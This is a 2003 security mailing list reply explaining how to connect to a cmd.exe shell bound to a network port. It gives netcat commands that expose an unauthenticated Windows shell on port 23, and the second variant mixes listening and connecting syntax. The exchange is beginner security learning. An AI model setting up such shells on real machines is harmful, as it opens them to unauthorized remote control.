Security Basics mailing list archives

Re: How does one connect to a shell (cmd.exe) bound to a port on a remote machine?


From: Tomas Wolf <tomas () skip cz>
Date: Sun, 09 Nov 2003 23:40:58 -0700

I would look at netcat... It is being reffered to as a "network swiss knife". It is a nice tool, not perl though... You can set it to:
nc -d -l -p 23 -e cmd.exe

that will open your "shell" to any telnet. If you want to bound it to a port on a remote machine I would try:

nc -d -l -p 23 -e cmd.exe [hostname] [port]

I think it is a pretty cool toy... I don't know it as much as I should...
Yep. It works, I have just tried it.
Search for netcat @ www.atstake.com --> it is free download

Tomas

Mark G. Spencer wrote:

I've been looking at some perl scripts that purport to create cmd.exe shells bound to a tcp port on a remote machine.  I'm 
curious, how would someone connect to these shells?  The code looks very compact, I wouldn't imagine you could just http to the 
port bound with cmd.exe?  Perhaps telnet?  Is this how Code Red and Nimda were operating?

Thanks for the information!

Mark

---------------------------------------------------------------------------
Forum Systems PRESIDIO: PGP / XML GATEWAY APPLIANCE
The Presidio integrates PGP data encryption and XML Web Services security to simplify the management and deployment of PGP and reduce overall PGP costs by up to 80%. FREE WHITEPAPER & 30 Day Trial - http://www.securityfocus.com/sponsor/ForumSystems_security-basics_031027 ----------------------------------------------------------------------------






---------------------------------------------------------------------------
Forum Systems PRESIDIO: PGP / XML GATEWAY APPLIANCE
The Presidio integrates PGP data encryption and XML Web Services security to simplify the management and deployment of PGP and reduce overall PGP costs by up to 80%. FREE WHITEPAPER & 30 Day Trial - http://www.securityfocus.com/sponsor/ForumSystems_security-basics_031027 ----------------------------------------------------------------------------


Current thread: